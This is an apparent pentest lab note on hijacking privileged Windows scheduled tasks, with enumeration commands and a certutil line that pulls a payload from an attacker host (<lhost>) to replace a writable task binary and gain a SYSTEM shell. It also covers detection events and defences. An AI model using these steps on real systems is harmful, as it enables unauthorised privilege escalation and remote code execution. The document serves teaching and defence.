Scheduled task hijacking (Windows)
On Windows, a scheduled task that runs with privileges (SYSTEM or an administrator) and executes a binary our user can write to is a direct escalation path: if we can replace that binary, the task's next run executes our code under its account.
Enumerate tasks and their permissions
The first step is listing the tasks, seeing which account they run as and what they execute:
schtasks /query /fo LIST /v # all tasks, verbose (Run As User, Task To Run)
Get-ScheduledTask | select TaskName,State,@{n='User';e={$_.Principal.UserId}}Sometimes the path and interval are documented on the system itself (an info.txt saying "every 5 minutes C:\Backup\TFTP.EXE runs"). With the task located, you check whether the binary (or its folder) is writable by our user, with icacls or accesschk:
icacls C:\Backup\TFTP.EXE
.\accesschk64.exe /accepteula -quv "user" C:\Backup\TFTP.EXE
.\accesschk64.exe /accepteula -s -d C:\Backup\ # permissions on the directoryAn (F) or (W) for our user or for BUILTIN\Users is the green light.
Replace the binary
move C:\Backup\TFTP.EXE C:\Backup\TFTP.EXE.bak
certutil.exe -f -urlcache -split http://<lhost>/payload.exe C:\Backup\TFTP.EXEWhen the task fires again, it runs our payload and returns a shell with the task's privilege. It parallels the abuse of insecure service permissions: in both, a privileged binary writable by the attacker equals control of that account; the difference is the trigger (the task scheduler instead of the service manager). If what is writable is not the .exe but a script the task invokes (.ps1, .bat), or the task's own XML in C:\Windows\System32\Tasks\, the result is the same without touching the executable.
Requirements
A task that runs as an account more privileged than ours and write permission over what it executes (the binary, an intermediate script or its folder). You must be able to wait for the next trigger or force it (schtasks /run /tn <task> if you have permission).
Nuance. You have to confirm the real interval (wait for the next trigger or force it if allowed) and that the task's account is what you think; a task may run as the current user and offer no escalation. Keeping the original binary (.bak) avoids breaking functionality and eases cleanup.
How to detect it. Replacing the binary leaves an Event ID 4688 (process creation) for the move/certutil and, with a SACL on the folder, a 4663 write over the task's .exe. The subsequent run generates a 4688 of the now-trojanized binary running as SYSTEM or the task's administrator, with a parent of svchost.exe/taskeng.exe/taskhostw.exe that gives away the scheduler origin. The most reliable signature is a scheduled-task executable whose hash changes between runs. Registering or modifying a task also leaves 4698/4702.
Defence. Binaries that scheduled tasks execute must live in paths writable only by administrators; audit schtasks /query /v and the ACLs of those executables and their folders, and do not document sensitive paths in world-readable files. It is a sibling of insecure service permissions.
Machines where it's used
- SlortProving Grounds Practice